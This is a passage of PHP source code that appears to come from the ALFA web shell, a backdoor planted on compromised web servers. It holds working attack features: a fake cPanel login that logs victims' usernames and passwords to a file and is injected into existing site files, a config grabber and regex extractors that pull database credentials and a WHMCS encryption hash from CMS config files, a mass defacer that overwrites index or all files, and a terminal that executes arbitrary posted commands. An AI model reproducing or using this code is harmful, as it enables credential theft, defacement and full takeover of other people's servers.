				$cpanel_log = '<?php $cook_time = time()+(86400 * 7); $user = $_POST["'.$post_user.'"];$pass = $_POST["'.$post_pass.'"];if(!empty($user) && !empty($pass)){if(!isset($_COOKIE["'.$cookie_name.'"])){@setcookie("'.$cookie_name.'", 0, $cook_time, "/");$_COOKIE["'.$cookie_name.'"]=1;}if((int)$_COOKIE["'.$cookie_name.'"]>'.$count.'){@header("Location: /");exit;}@setcookie("'.$cookie_name.'", ((int)$_COOKIE["'.$cookie_name.'"] + 1), $cook_time, "/");$fp = @fopen("'.$logto.'", "a+");@fwrite($fp, $user . " : " . $pass . "\n");fclose($fp);sleep(3);'.$resp_code.'exit;}?>';

				@file_put_contents($fake_root.'/log.php', $cpanel_log);

				if($panel == "cpanel"){
					$fake = preg_replace(array('#<link(.*)href="(.*)"(.*)>#', '#<img class="main-logo" src="(.*)"(.*)>#', '# <a(.*)id="reset_password">#'), array('<link href="'.$target.'/$2">', '<img class="main-logo" src="'.$target.'/$1" alt="logo" />', '<a href="#" id="reset_password">'), $fake);
				}

				@file_put_contents($fake_root.'/index.php', $fake);

				$inject_code = '<?php if(isset($_GET[":2083"])&&(int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@include("'.$fake_root.'/index.php");exit;}?>';
				$bind_on_code = '<?php if((int)$_COOKIE["'.$cookie_name.'"]<'.$count.'){@header("Location: '.$uri.'");exit;}?>';

				@file_put_contents($inject_to, $inject_code . "\n" .@file_get_contents($inject_to));
				@file_put_contents($bind_on, $bind_on_code . "\n" .@file_get_contents($bind_on));

				echo "success...!";
			}else{
				echo "failed...!";
			}
		}else{
			echo("<div style='text-align:center;color:red;'>Cannot open the target...!</div>");
		}
	}
	echo '</div>';
	alfafooter();
}
function alfaarchive_manager(){
	alfahead();
	$file = $_POST['alfa2'];
	if(!file_exists($file)){
		$file = $GLOBALS['cwd'];
	}
	$rand_id = rand(9999, 999999);
	echo '<div class=header><center><p><div class="txtfont_header">| Archive Manager |</div></p>';
	echo '<form name="srch" onSubmit="g(\'archive_manager\',null,null,this.file.value,null,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Archive file: <input size="50" id="target" type="text" name="file" value="'.$file.'">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
	if($_POST['alfa5']=='>>'){
		//echo __pre();
		echo '<hr><div style="margin-left: 12px;" archive_full="phar://'.$file.'" archive_name="'.basename($file).'" id="archive_dir_'.$rand_id.'" class="archive_dir_holder"><span>PWD: </span><div class="archive_pwd_holder" style="display:inline-block"><a>/</a></div></div>';
		echo '<div style="padding: 10px;" id="archive_base_'.$rand_id.'">';
		__alfa_open_archive_file($file, $rand_id);
		echo '</div>';
	}
	echo '</div>';
	alfafooter();
}
function __alfa_open_archive_file($arch, $base_id=0){
	try{
		$files = array();
		$dirs = array();
		$archive = new PharData($arch);
		 foreach($archive as $file) {
			 $file_modify = @date('Y-m-d H:i:s', @filemtime($file->getPathname()));
		     if($file->isDir()) {
				 $dirs[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "dir", "modify" => $file_modify);
		     }else{
				 $file_size = @filesize($file->getPathname());
				 $files[] = array("name" => $file->getFileName(), "path" => $file->getPathname(), "type" => "file",  "modify" => $file_modify, "size" => $file_size);
			 }
		 }
		 function __alfa_open_archive_usort($a, $b){
			 return strcmp(strtolower($a['name']), strtolower($b['name']))*1;
		 }
		 usort($dirs, "__alfa_open_archive_usort");
		 usort($files, "__alfa_open_archive_usort");
		 $files = array_merge($dirs, $files);
		 echo '<table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th>Name</th><th>Size</th><th>Modify</th><th>Actions</th></tr>';
		 $icon = '<img class="archive-icons" src="'.findicon('..','dir').'" width="30" height="30">';
		 echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" fname=".." onclick="alfaOpenArchive(this);" path="'.dirname($arch.'.php').'">'.$icon.'<span class="archive-name archive-type-dir">| .. |</span></a><td>dir</td><td>-</td><td>-</td></tr>';
		 foreach($files as $file){
			 $icon = '<img class="archive-icons" src="'.findicon($file['name'],$file['type']).'" width="30" height="30">';
			 if($file["type"] == "dir"){
			 	echo '<tr><th><a base_id="'.$base_id.'" class="archive-file-row" onclick="alfaOpenArchive(this);" path="'.$file["path"].'" fname="'.$file["name"].'">'.$icon.'<span class="archive-name archive-type-dir">| '.$file["name"].' |</span></a><td>dir</td><td>'.$file["modify"].'</td><td>-</td></tr>';
		 	}else{
				echo "<tr><th><a base_id='".$base_id."' class='archive-file-row' onclick=\"editor('".$file["path"]."','auto','','','','file');\">".$icon."<span class='archive-name archive-type-file' fname='".$file["name"]."'>".$file["name"]."</span></a><td>".alfaSize($file["size"])."</td><td>".$file["modify"]."</td><td>-</td></tr>";

			}
		 }
		  echo '</table>';
	}catch(Exception $e){
		echo("0");
	}
}
function alfaopen_archive_dir(){
	$dir = $_POST["alfa1"];
	$base_id = $_POST["alfa2"];
	__alfa_open_archive_file($dir, $base_id);
}
function alfaconfig_grabber(){
	alfahead();
	echo '<div class=header><center><p><div class="txtfont_header">| Config Grabber |</div></p>';
	echo '<form name="srch" onSubmit="g(\'config_grabber\',null,null,this.dir.value,this.ext.value,null,\'>>\');return false;" method=\'post\'>
	<div class="txtfont">
	Dir: <input size="50" id="target" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
	Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
	<input type="submit" name="btn" value=" "></div></form></center><br>';
	$dir = $_POST['alfa2'];
	$ext = $_POST['alfa3'];
	if($_POST['alfa5']=='>>'){
		echo __pre();
		Alfa_ConfigGrabber($dir, $ext);
	}
	echo '</div>';
	alfafooter();
}
function Alfa_ConfigGrabber($dir, $ext) {
	$pattern = "#define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,}|define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,}|config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\]|(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")|(?:'|\")(mysql|database)(?:'|\")[ ]{0,}=>[ ]{0,}array|db_name|db_user|db_pass|db_server|db_host|dbhost|dbname|dbuser|dbpass|database_name|database_user|database_pass|mysql_user|mysql_pass|mysqli_connect|mysql_connect|new[ ]{0,}mysqli#i";
	$db_files = array("wp-config.php","configure.php","config.inc.php","configuration.php","config.php","conf.php","dbclass.php","class_core.php","dist-configure.php", "settings.php", "conf_global.php", "db.php", "connect.php", "confing.db.php", "config.db.php", "database.php");
	if(@is_readable($dir)){
		$globFiles = @glob("$dir/*.$ext");
		$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
		$blacklist = array();
		foreach ($globDirs as $dir) {
			if(!@is_readable($dir)||@is_link($dir)) continue;
			@Alfa_ConfigGrabber($dir, $ext);
		}
		foreach ($globFiles as $file){
			$filee = @file_get_contents($file);
			if(preg_match($pattern, $filee)){
				echo "<div><span>$file</span> <a style='cursor:pointer;' onclick=\"editor('".$file."','auto','','','','file');\">[ View file ]</a></div>";
			}
		}
	}
}
function alfasearcher(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Searcher |</div></p><h3><a href=javascript:void(0) onclick="g(\'searcher\',null,\'file\')">| Find Readable Or Writable Files | </a><a href=javascript:void(0) onclick="g(\'searcher\',null,\'str\')">| Find Files By Name | </a></h3></center>';
if(isset($_POST['alfa1'])&&$_POST['alfa1']=='file'){
echo '<center><div class="txtfont_header">| Find Readable Or Writable Files  |</div><br><br><form name="srch" onSubmit="g(\'searcher\',null,\'file\',this.filename.value,this.ext.value,this.method.value,\'>>\');return false;" method=\'post\'>
<div class="txtfont">
Method: <select style="width: 18%;" onclick="alfa_searcher_tool(this.value);" name="method"><option value="files">Find All Writable Files</option><option value="dirs">Find All Writable Dirs</option><option value="all">Find All Readable And Writable Files</option></select>
Dir: <input size="50" id="target" type="text" name="filename" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$ext = $_POST['alfa3'];
$method = $_POST['alfa4'];
if($_POST['alfa5']=='>>'){
echo __pre();
if(substr($dir,-1)=='/')$dir=substr($dir,0,-1);
Alfa_Searcher($dir,trim($ext),$method);
}
}
if($_POST['alfa1']=='str'){
echo '<center><div class="txtfont_header">| Find Files By Name / Find String In Files |</div><br><br><form onSubmit="g(\'searcher\',null,\'str\',this.dir.value,this.string.value,\'>>\',this.ext.value,this.method.value);return false;" method=\'post\'>
<div class="txtfont">
Method: <select name="method"><option value="name">Find Files By Name</option><option value="str">Find String In Files</option></select>
String: <input type="text" name="string" value="">
Dir: <input size="50" type="text" name="dir" value="'.$GLOBALS['cwd'].'">
Ext: <small><font color="red">[ * = all Ext ]</font></small> <input id="ext" style="text-align:center;" type="text" name="ext" size="5" value="php">
<input type="submit" name="btn" value=" "></div></form></center><br>';
$dir = $_POST['alfa2'];
$string = $_POST['alfa3'];
$ext = $_POST['alfa5'];
if(!empty($string) AND !empty($dir) AND $_POST['alfa4'] == '>>'){
echo __pre();
Alfa_StrSearcher($dir,$string,$ext,$_POST['alfa6']);
}
}
echo '</div>';
alfafooter();
}
function alfaMassDefacer(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo "<div class=header><center><p><div class='txtfont_header'>| Mass Defacer |</div></p><form onSubmit=\"g('MassDefacer',null,this.massdir.value,this.defpage.value,this.method.value,'>>');return false;\" method='post'>";
echo '<div class="txtfont">Deface Method: <select name="method"><option value="index">Deface Index Dirs</option><option value="all">All Files</option></select>
	Mass dir: <input size="50" id="target" type="text" name="massdir" value="'.htmlspecialchars($GLOBALS['cwd']).'">
	DefPage: <input size="50" type="text" name="defpage" value="'.htmlspecialchars($GLOBALS['cwd']).'"></div> <input type="submit" name="btn" value=" "></center></p>
</form>';
$dir = $_POST['alfa1'];
$defpage = $_POST['alfa2'];
$method = $_POST['alfa3'];
$fCurrent = $GLOBALS['__file_path'];
if($_POST['alfa4'] == '>>'){
if(!empty($dir)){
if(@is_dir($dir)){
if(@is_readable($dir)){
if(@is_file($defpage)){
if($dh = @opendir($dir)){
echo __pre();
while (($file = @readdir($dh)) !== false){
if($file == '..' || $file == '.')continue;
$newfile=$dir.$file;
if($fCurrent == $newfile)continue;
if(@is_dir($newfile)){
Alfa_ReadDir($newfile,$method,$defpage);
}else{
if(!@is_writable($newfile))continue;
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}else{__alert('<font color="red">Error In OpenDir...</font>');}
}else{__alert('<font color="red">DefPage File NotFound...</font>');}
}else{__alert('<font color="red">Directory is not Readable...</font>');}
}else{__alert('<font color="red">Mass Dir is Invalid Dir...</font>');}
}else{__alert('<font color="red">Dir is Empty...</font>');}
}
echo '</div>';
alfafooter();
}
function Alfa_ReadDir($dir,$method='',$defpage=''){
if(!@is_readable($dir)) return false;
if (@is_dir($dir)) {
if ($dh = @opendir($dir)) {
while(($file=readdir($dh))!==false) {
if($file == '..' || $file == '.')continue;
$newfile=$dir.'/'.$file;
if(@is_readable($newfile)&&@is_dir($newfile))Alfa_ReadDir($newfile,$method,$defpage);
if(@is_file($newfile)){
if(!@is_readable($newfile))continue;
Alfa_Rewriter($newfile,$file,$defpage,$method);
}
}
closedir($dh);
}
}
}
function Alfa_Rewriter($dir,$file,$defpage,$m='index'){
if(!@is_writable($dir)) return false;
if(!@is_readable($dir)) return false;
$defpage=@file_get_contents($defpage);
if($m == 'index'){
$indexs = array('index.php','index.htm','index.html','default.asp','default.aspx','index.asp','index.aspx','index.js');
if(in_array(strtolower($file),$indexs)){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."<b><font color='red'>DeFaced...</b></font><br>" : '';
}
}elseif($m=='all'){
@file_put_contents($dir,$defpage);
echo @is_file($dir)?$dir."  <b><font color='red'>DeFaced...</b></font><br>" : '';
}
}
function alfaGetDisFunc(){
alfahead();
echo '<div class="header">';
$disfun = @ini_get('disable_functions');
$s = explode(',',$disfun);
$f = array_unique($s);
echo '<center><br><b><font color="#7CFC00">Disable Functions</font></b><pre><table border="1"><tr><td align="center" style="background-color: green;color: white;width:5%">#</td><td align="center" style="background-color: green;color: white;">Func Name</td></tr>';
$i=1;
foreach($f as $s){
$s=trim($s);
if(function_exists($s)||!is_callable($s))continue;
echo '<tr><td align="center" style="background-color: black;">'.$i.'</td>';
echo '<td align="center" style="background-color: black;"><a style="text-decoration: none;" target="_blank" href="http://php.net/manual/en/function.'.str_replace('_','-',$s).'.php"><span class="disable_functions"><b>'.$s.'</b></span></a></td>';
$i++;
}
echo '</table></center>';
echo '</div>';
alfafooter();
}
function Alfa_Create_A_Tag($action,$vals){
$nulls = array();
foreach($vals as $key => $val){
echo '<a href=javascript:void(0) onclick="g(\''.$action.'\',';
for($i=1;$i<=$val[1]-1;$i++)$nulls[] = 'null';
$f = implode(',',$nulls);
echo $f.',\''.$val[0].'\');return false;">| '.$key.' | </a>';
unset($nulls);
}
}
function Alfa_Searcher($dir, $ext, $method) {
if(@is_readable($dir)){
if($method == 'all')$ext = '*';
if($method == 'dirs')$ext = '*';
$globFiles = @glob("$dir/*.$ext");
$globDirs  = @glob("$dir/*", GLOB_ONLYDIR);
$blacklist = array();
foreach ($globDirs as $dir) {
if(!@is_readable($dir)||@is_link($dir)) continue;
@Alfa_Searcher($dir, $ext, $method);
}
switch($method){
case "files":
foreach ($globFiles as $file){
if(@is_writable($file)){
echo "$file<br>";
}
}
break;
case "dirs":
foreach ($globFiles as $file){
if(@is_writable(dirname($file)) && !in_array(dirname($file), $blacklist)){
echo dirname($file).'<br>';
$blacklist[] = dirname($file);
}
}
break;
case "all":
foreach ($globFiles as $file){
echo $file.'<br>';
}
break;
}
unset($blacklist);
}
}
function AlfaiFrameCreator($f,$width='100%',$height='600px'){
return('<iframe src="'.__ALFA_DATA_FOLDER__."/".$f.'" width="'.$width.'" height="'.$height.'" frameborder="0"></iframe>');
}
class AlfaCURL {
public $headers;
public $user_agent;
public $compression;
public $cookie_file;
public $proxy;
public $path;
public $ssl = true;
public $curl_status = true;
function __construct($cookies=false,$compression='gzip',$proxy=''){
if(!extension_loaded('curl')){$curl_status = false;return false;}
$this->headers[] = 'Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36)';
$this->path = ALFA_TEMPDIR.'/Alfa_cookies.txt';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if($this->cookies)$this->cookie($this->path);
}
function cookie($cookie_file) {
if (_alfa_file_exists($cookie_file,false)) {
$this->cookie_file=$cookie_file;
}else{
@fopen($cookie_file,'w') or die($this->error('The cookie file could not be opened.'));
$this->cookie_file=$cookie_file;
@fclose($this->cookie_file);
}
}
function Send($url,$method="get",$data=""){
if(!$this->curl_status){return false;}
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if($this->ssl){
curl_setopt($process, CURLOPT_SSL_VERIFYPEER ,false);
curl_setopt($process, CURLOPT_SSL_VERIFYHOST,false);
}
if($this->cookies){
curl_setopt($process, CURLOPT_COOKIEFILE, $this->path);
curl_setopt($process, CURLOPT_COOKIEJAR, $this->path);
}
if($this->proxy){
curl_setopt($process, CURLOPT_PROXY, $this->proxy);
}
if($method=='post'){
curl_setopt($process, CURLOPT_POSTFIELDS, $data);
curl_setopt($process, CURLOPT_POST, 1);
curl_setopt($process, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
}
$return = @curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo "<center><div style='width:500px;border: 3px solid #FFEEFF; padding: 3px; background-color: #FFDDFF;font-family: verdana; font-size: 10px'><b>cURL Error</b><br>$error</div></center>";
die;
}
}
function getConfigHtml($cms){
$content = '';
$cms_array = array("wp" => "WordPress", "vb" => "vBulletin", "whmcs" => "Whmcs", "joomla" => "Joomla", "phpnuke" => "PHPNuke","phpbb"=>"PHPBB","mybb"=>"MyBB","drupal"=>"Drupal","smf"=>"SMF");
$content .= "<form class='getconfig' onSubmit='g(\"GetConfig\",null,this.cms.value,this.path.value,this.getAttribute(\"base_id\"));return false;'><div class='txtfont'>Cms: </div> <select name='cms'style='width:100px;'>";
foreach($cms_array as $key => $val){
$content .= "<option value='{$key}' ".($key==$cms?'selected=selected':'').">{$val}</option>";
}
$content .= "</select> <div class='txtfont'>Path(installed cms/Config): </div> <input type='text' name='path' value='".$_SERVER['DOCUMENT_ROOT']."/' size='30' /> <button class='button'>GetConfig</button>";
$content .= "</form>";
return $content;
}
if (!function_exists('json_encode')){
    function json_encode($a=false){
        if (is_null($a)) return 'null';
        if ($a === false) return 'false';
        if ($a === true) return 'true';
        if (is_scalar($a))
        {
            if (is_float($a))
            {
                return floatval(str_replace(",", ".", strval($a)));
            }

            if (is_string($a))
            {
                static $jsonReplaces = array(array("\\", "/", "\n", "\t", "\r", "\b", "\f", '"'), array('\\\\', '\\/', '\\n', '\\t', '\\r', '\\b', '\\f', '\"'));
                return '"' . str_replace($jsonReplaces[0], $jsonReplaces[1], $a) . '"';
            }
            else
            return $a;
        }
        $isList = true;
        for ($i = 0, reset($a); $i < count($a); $i++, next($a))
        {
            if (key($a) !== $i)
            {
                $isList = false;
                break;
            }
        }
        $result = array();
        if ($isList)
        {
            foreach ($a as $v) $result[] = json_encode($v);
            return '[' . join(',', $result) . ']';
        }
        else
        {
            foreach ($a as $k => $v) $result[] = json_encode($k).':'.json_encode($v);
            return '{' . join(',', $result) . '}';
        }
    }
}
if ( !function_exists('json_decode') ){
function json_decode($json, $array=true){
    $comment = false;
    $out = '$x=';
    for ($i=0; $i<strlen($json); $i++)
    {
        if (!$comment)
        {
            if ($json[$i] == '{' || $json[$i] == '['){$out .= ' array(';}
            else if ($json[$i] == '}' || $json[$i] == ']'){$out .= ')';}
            else if ($json[$i] == ':'){$out .= '=>';}
            else {$out .= $json[$i];}
        }
        else $out .= $json[$i];
        if ($json[$i] == '"')    $comment = !$comment;
    }
    eval($out . ';');
    return $x;
}
}
function alfaterminalExec(){
	$pwd = "pwd";
	$seperator = ";";
	if($GLOBALS['sys']!='unix'){
		$pwd = "cd";
		$seperator = "&";
	}
	if($GLOBALS["glob_chdir_false"]&&!empty($_POST["c"])){$cmd = "cd '".addslashes($_POST["c"])."'".$seperator;}
	$current_path = '';
	if(preg_match("/cd[ ]{0,}(.*)[ ]{0,}".$seperator."|cd[ ]{0,}(.*)[ ]{0,}/i", $_POST['alfa1'], $match)){
		if(empty($match[1])){
			$match[1] = $match[2];
		}
		$current_path = alfaEx("cd ".addslashes($match[1]).$seperator.$pwd);
		$current_path = str_replace("\\", "/", $current_path);
	}
	$out = alfaEx($cmd.$_POST['alfa1'], true);
	$out = htmlspecialchars($out);
	echo json_encode(array("output" => convertBash($out), "path" => $current_path));
}
function convertBash($code) {
    $dictionary = array(
        '[01;30m' => '<span style="color:black">',
        '[01;31m' => '<span style="color:red">',
        '[01;32m' => '<span style="color:green">',
        '[01;33m' => '<span style="color:yellow">',
        '[01;34m' => '<span style="color:blue">',
        '[01;35m' => '<span style="color:purple">',
        '[01;36m' => '<span style="color:cyan">',
        '[01;37m' => '<span style="color:white">',
        '[0m'   => '</span>'
    );
    $htmlString = str_replace(array_keys($dictionary), $dictionary, $code);
    return $htmlString;
}
function alfadoActions(){
	$chdir_fals = false;
	if(!@chdir($_POST['c'])){
		$chdir_fals = true;
		$alfa_canruncmd = _alfa_can_runCommand(true,true);
	}
	if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
	if(isset($_POST['alfa2']))$_POST['alfa2'] = rawurldecode($_POST['alfa2']);
	$action = $_POST["alfa3"];
	if($action == "permission"){
		$perms = 0;
		$perm = $_POST["alfa2"];
		for($i=strlen($perm)-1;$i>=0;--$i){
			$perms += (int)$perm[$i]*pow(8, (strlen($perm)-$i-1));
		}
		if(@chmod($_POST['alfa1'], $perms)){
			echo("done");
		}else{
			echo("no");
		}
		return;
	}
	if($action == "rename" || $action == "move"){
		$alfa1_decoded = $_POST['alfa1'];
		if($chdir_fals){
			$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
		}
		$_POST['alfa1'] = trim($_POST['alfa1']);
		$alfa1_escape = addslashes($_POST["alfa1"]);
		if($_POST["alfa3"] == "rename"){
			$_POST['alfa2'] = basename($_POST['alfa2']);
		}
		if(!empty($_POST['alfa2'])){
			$cmd_rename = false;
			if($chdir_fals&&$alfa_canruncmd){
				if(_alfa_is_writable($_POST['alfa1'])){
					$cmd_rename = true;
					$alfa1_escape = addslashes($alfa1_decoded);
					alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa2'])."'");
				}
			}
			if(!file_exists($_POST['alfa2'])){
				if(@rename($_POST['alfa1'], $_POST['alfa2'])||$cmd_rename){
					echo "done";
				}else{
					echo "no";
				}
			}else{
				echo "no";
			}
		}
	}elseif($action == "copy"){
		if(is_dir($_POST["alfa1"])){
			$dir = str_replace('//', '/', $_POST["alfa1"]);
			$dir = explode('/', $dir);
			if(empty($dir[count($dir) - 1])){
				$name = $dir[count($dir) - 2];
			}else{
				$name = $dir[count($dir) - 1];
			}
		}else{
			$name = basename($_POST["alfa1"]);
		}
		$dir = dirname($_POST["alfa1"]);
		if($dir == "."){
			$dir = $_POST["c"]."/";
		}
		if(is_file($_POST["alfa1"])){
			@copy($_POST["alfa1"], $_POST["alfa2"]);
			echo("done");
		}elseif(is_dir($_POST["alfa1"])){
			if(!is_dir($_POST["alfa2"])){
				mkdir($_POST["alfa2"], 0755, true);
			}
			copy_paste($dir, $name , $_POST["alfa2"] . "/");
			echo("done");
		}
	}elseif($action == "modify"){
		if( !empty($_POST['alfa1']) ) {
			$time = strtotime($_POST['alfa1']);
			if($time){
				$touched = false;
				if($chdir_fals&&$alfa_canruncmd){
					alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa1']))."' '".addslashes($_POST['alfa2'])."'");
					$touched = true;
				}
				if(!@touch($_POST['alfa2'],$time,$time)&&!$touched){
					echo 'no';
				}else{
					echo 'ok';
				}
			} else{
				 echo 'badtime';
			}
		}
	}

}
function alfaget_flags(){
	$flags = array();
	if(function_exists("curl_version")){
		$curl = new AlfaCURL();
		$server_addr = (!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]);
		$flag = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $server_addr);
		$flag2 = $curl->Send("http://www.geoplugin.net/json.gp?ip=" . $_SERVER["REMOTE_ADDR"]);
		if(strpos($flag2, "geoplugin") != false){
			$flag = json_decode($flag, true);
			$flag2 = json_decode($flag2, true);
			if(!empty($flag['geoplugin_countryCode'])){
				$flags["server"]["name"] = $flag['geoplugin_countryName'];
				$flags["server"]["code"] = $flag['geoplugin_countryCode'];
			}
			if(!empty($flag2['geoplugin_countryCode'])){
				$flags["client"]["name"] = $flag2['geoplugin_countryName'];
				$flags["client"]["code"] = $flag2['geoplugin_countryCode'];
			}
		}
	}
	echo json_encode($flags);
}
function alfaGetConfig(){
$cms = $_POST['alfa1'];
$path = trim($_POST['alfa2']);
$config = array(
'wp'=>array('file'=>'/wp-config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOST(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_NAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USER(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/table_prefix[ ]{0,}=[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,};/",1)
),
'drupal'=>array('file'=>'/config.php',
'host'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_HOSTNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbname'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_DATABASE(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbuser'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_USERNAME(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'dbpw'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PASSWORD(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1),
'prefix'=>array("/define[ ]{0,}\([ ]{0,}(?:'|\")DB_PREFIX(?:'|\")[ ]{0,},[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,}\)[ ]{0,};/",1)
),
'drupal2'=>array('file'=>'/sites/default/settings.php',
'host'=>array("/(?:'|\")host(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbname'=>array("/(?:'|\")database(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbuser'=>array("/(?:'|\")username(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'dbpw'=>array("/(?:'|\")password(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1),
'prefix'=>array("/(?:'|\")prefix(?:'|\")[ ]{0,}=>[ ]{0,}(?:'|\")(.*?)(?:'|\")[ ]{0,},/",1)
),
'vb'=>array('file'=>'/includes/config.php',
'host'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")servername(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbuser'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")username(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbname'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")dbname(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'dbpw'=>array("/config\[(?:'|\")MasterServer(?:'|\")\]\[(?:'|\")password(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3),
'prefix'=>array("/config\[(?:'|\")Database(?:'|\")\]\[(?:'|\")tableprefix(?:'|\")\](\s+)=(\s+)(?:'|\")(.*?)(?:'|\")[ ]{0,};/",3)
),
'phpnuke'=>array('file'=>'/config.php',
'host'=>array('/dbhost(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbname'=>array('/dbname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbuser'=>array('/dbuname(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'dbpw'=>array('/dbpass(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3),
'prefix'=>array('/prefix(\s+)=(\s+)(?:\'|")(.*?)(?:\'|");/',3)
),
'smf'=>array('file'=>'/Settings.php',
'host'=>array("/db_server(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_user(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_passwd(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'prefix'=>array("/db_prefix(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
'whmcs'=>array('file'=>'/configuration.php',
'host'=>array("/db_host(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbname'=>array("/db_name(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbuser'=>array("/db_username(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'dbpw'=>array("/db_password(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3),
'cc_encryption_hash'=>array("/cc_encryption_hash(\s+)=(\s+)(?:'|\")(.*?)(?:'|\");/",3)
),
